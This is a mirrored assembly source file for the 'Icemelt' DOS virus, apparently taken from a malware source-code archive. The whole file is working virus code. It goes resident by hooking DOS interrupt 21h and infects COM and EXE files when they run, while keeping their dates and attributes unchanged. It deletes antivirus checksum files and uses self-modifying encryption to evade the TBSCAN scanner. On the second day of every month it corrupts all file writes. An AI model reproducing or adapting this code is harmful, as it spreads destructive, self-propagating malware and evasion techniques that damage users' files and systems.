mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
410 lines
12 KiB
NASM
410 lines
12 KiB
NASM
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
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; Icemelt - (c)1995 ûirogen - Using ûiCE v0.2á
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; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
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;
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; þ Infects COM and EXE when executed.
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; þ COM Infection marker: fourth byte is 0
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; þ EXE infection marker: Checksum in header not equal to 0.
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; þ Time/Date do not change
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; þ Read-only and hidden files will be infected, and attributes restored.
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; þ Virus installs its own critical error handler
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; þ Deletes MSAV and CPAV Checksum filez.
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; þ Activates on the second of any month, at which time it will phuck
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; up all file writes using INT 21h/func 40h.
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; þ Does not use ViCE anti-tbscan. Has a second cryptor to thwart many
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; TBSCAN flags. Does not use ViCE Garbage.
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;
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cseg segment
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assume cs:cseg, ds:cseg, es:cseg, ss:cseg
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signal equ 0FA01h ; AX=signal/INT 21h/installation chk
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vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
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special equ 11h
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act_day equ 2
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buf_size equ 170
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vice_size equ 1602+buf_size
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virus_size equ (offset vend-offset start)+VICE_SIZE
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extrn _vice:near
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org 0h
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start:
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push ds es
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inc si
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mov ax,1000h ; looks like legit. INT call..
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add ax,signal-1000h ; are we memory resident?
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mov dx,vsafe_word
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mov bl,special
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int 21h
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call nx ; get relative offset
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nx: pop bp
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sub bp,offset nx
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or si,si
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jz no_install ; if carry then we are
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call crypt ; decrypt the next few bytez
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c_start:
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mov cs:activate[bp],0
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mov ah,2ah ; get date
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int 21h
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cmp dl,act_day ;
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jnz no_act
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mov cs:activate[bp],1
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no_act:
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mov ax,ds ; PSP segment
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dec ax ; mcb below PSP m0n
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mov ds,ax ; DS=MCB seg
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cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
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jnz no_install
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sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
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sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
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mov es,word ptr ds: [12h] ; get high mem seg
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push cs
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pop ds
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mov si,bp
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mov cx,virus_size/2+1
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xor di,di
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rep movsw ; copy code to new seg
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xor ax,ax
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mov ds,ax ; null ds
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push ds
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lds ax,ds: [21h*4] ; get 21h vector
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mov es: word ptr old21+2,ds ; save S:O
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mov es: word ptr old21,ax
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pop ds
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mov ds: [21h*4+2],es ; new int 21h seg
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mov ds: [21h*4],offset new21 ; new offset
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sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
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c_end:
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no_install:
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pop es ds ; restore ES DS
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cmp cs:is_exe[bp],1
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jz exe_return
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lea si,org_bytes[bp] ; com return
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mov di,0100h ; -restore first 4 bytes
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mov cx,2
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rep movsw
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mov ax,100h ; jump back to 100h
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push ax
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_ret:ret
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exe_return:
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mov cx,ds ; calc. real CS
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add cx,10h
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add word ptr cs:[exe_jump+2+bp],cx
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int 3 ; fix prefetch
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db 0eah
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exe_jump dd 0
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is_exe db 0
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; Crypts portion of virus
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;
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crypt_res:
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xor bp,bp
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crypt:
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lea si,c_start
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add si,bp
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mov cx,(offset c_end-offset c_start)
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add byte ptr cs:xor_op[bp],10h ; self modifying code...
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int 3 ; fix prefetch
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l1:
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db 2Eh
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xor_op db 70h,34h ; tbscan won't flag this bitch
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xor_val db 0
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inc si
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loop l1
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sub byte ptr cs:xor_op[bp],10h ; unmodify code
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ret
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; Infection routine - called from INT 21h handler.
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; DS:DX=fname
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;
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infect_file:
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push dx
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pop si
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push ds
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xor ax,ax ; null ES
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mov es,ax
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lds ax,es:[24h*4] ; get INT 24h vector
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mov cs:old_24_off,ax ; save it
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mov cs:old_24_seg,ds
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mov es:[24h*4+2],cs ; install our handler
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mov es:[24h*4],offset new_24
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pop ds
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push es ; we'll need it later
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push cs
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pop es
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mov ax,4300h ; get phile attribute
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int 21h
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mov ax,4301h ; null attribs
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push ax cx ; save AX-call/CX-attrib
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xor cx,cx
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int 21h
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mov ax,3d02h ; open the file
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int 21h
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jc dont_do
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mov bx,ax ; get handle
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push cs
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pop ds
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call kill_chklst
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mov ah,3fh ; Read first bytes of file
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mov cx,20h
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lea dx,org_bytes
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int 21h
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cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
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jz do_exe
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cmp byte ptr org_bytes+3,0
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jz close
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mov is_exe,0
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mov ax,5700h ; get time/date
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int 21h
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push cx dx
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call offset_end
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push ax ; AX=end of file
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lea si,start ; DS:SI=start of code to encrypt
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mov di,virus_size ; ES:DI=address for decryptor/
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push di ; encrypted code. (at heap)
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mov cx,virus_size ; CX=virus size
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mov dx,ax ; DX=EOF offset
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add dx,100h ; DX=offset decryptor will run from
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mov al,00000001b ; no garbage, no CS:
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call _vice ; call engine!
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pop dx
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mov ah,40h
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int 21h
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call offset_zero
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pop ax ; restore COM file size
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sub ax,3 ; calculate jmp offset
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mov word ptr new_jmp+1,ax
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lea dx,new_jmp
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mov cx,4
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mov ah,40h
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int 21h
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pop dx cx ; pop date/time
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mov ax,5701h ; restore the mother fuckers
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int 21h
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close:
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pop cx ax ; restore attrib
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int 21h
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mov ah,3eh
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int 21h
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dont_do:
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pop es ; ES=0
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lds ax,dword ptr old_24_off ; restore shitty DOS error handler
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mov es:[24h*4],ax
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mov es:[24h*4+2],ds
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ret
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do_exe:
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cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
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jnz close
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cmp byte ptr exe_header[18h],52h ; pklite'd?
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jz exe_ok
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cmp byte ptr exe_header[18h],40h ; don't infect new format exe
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jge close
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exe_ok:
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push bx
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mov ah,2ch ; grab a random number
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int 21h
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mov word ptr exe_header[12h],dx ; mark that it's us
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mov is_exe,1
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les ax,dword ptr exe_header+14h ; Save old entry point
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mov word ptr ds:exe_jump, ax
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mov word ptr ds:exe_jump+2, es
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push cs
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pop es
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call offset_end
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push dx ax ; save file size DX:AX
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mov bx, word ptr exe_header+8h ; calc. new entry point
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mov cl,4 ; *16
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shl bx,cl ; ^by shifting one byte
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sub ax,bx ; get actual file size-header
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sbb dx,0
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mov cx,10h ; divide AX/CX rDX
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div cx
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mov word ptr exe_header+14h,dx
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mov word ptr exe_header+16h,ax
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mov rel_off,dx
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pop ax ; AX:DX file size
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pop dx
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pop bx
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mov cx,virus_size+10h ; calc. new size
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adc ax,cx
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mov cl,9 ; calc new alloc (512)
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push ax
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shr ax,cl
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ror dx,cl
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stc
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adc dx,ax
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pop ax ; ax=size+virus
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and ah,1
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mov word ptr exe_header+4h,dx
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mov word ptr exe_header+2h,ax
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lea si,start ; DS:SI=start of code to encrypt
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mov di,virus_size ; ES:DI=address for decryptor and
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push di ; encrypted code (at heap)
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mov cx,virus_size ; CX=virus size
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mov dx,rel_off ; DX=offset decryptor will run from
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mov al,00000000b ; no garbage, use CS:
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call _vice ; call engine!
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pop dx
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mov ah,40h
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int 21h
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call offset_zero
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mov cx,18h ; write fiXed header
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lea dx,exe_header
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mov ah,40h
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int 21h
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jmp close
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; set file ptr
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offset_zero: ; self explanitory
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xor al,al
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jmp set_fp
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offset_end:
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mov al,02h
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set_fp:
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mov ah,42h
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xor cx,cx
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xor dx,dx
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int 21h
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ret
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; Kill those darned MSAV and CPAV filez..
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;
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kill_chklst:
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mov di,2 ; counter for loop
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lea dx,first_2die ; first fname to kill
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kill_loop:
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mov ax,4301h ; reset attribs
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xor cx,cx
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int 21h
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mov ah,41h ; delete phile
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int 21h
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lea dx,last_2die ; second fname to kill
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dec di
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jnz kill_loop
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ret
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first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
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last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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; new 21h
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new21:
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pushf
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cmp ax,signal ; be it us?
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jnz not_us ; richtig..
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cmp dx,vsafe_word
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jnz not_us
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cmp bl,special
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jnz not_us
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xor si,si
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mov di,4559h
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jmp jmp_org
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not_us:
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cmp cs:activate,0 ; time to activate?
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jz nchk
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cmp ah,40h ; write to phile?
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jnz jmp_org
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lea dx,credits ; phuck up address..
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push cs
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pop ds
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nchk: cmp ax,4b00h ; execute phile?
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jnz jmp_org
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push ax bx cx di dx si ds es bp dx
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mov ah,2ch ; grab random for cryptor
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int 21h
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mov byte ptr cs:xor_val,dl
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pop dx
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call crypt_res
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call infect_file
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call crypt_res
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pop bp es ds si dx di cx bx ax
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jmp_org:
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popf
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db 0eah ; jump far XXXX:XXXX
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old21 dd 0
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new_24: ; critical error handler
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mov al,3 ; prompts suck, return fail
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iret
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activate db 0
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txt_ptr dw offset credits
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credits db '[IceMelt, by ûirogen]'
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credit_end:
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new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
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rel_off dw 0
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exe_header:
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org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
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heap:
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db 16h dup(0) ; remaining exe header space
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old_24_off dw 0 ; old int24h vector
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old_24_seg dw 0
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vend:
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cseg ends
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end start
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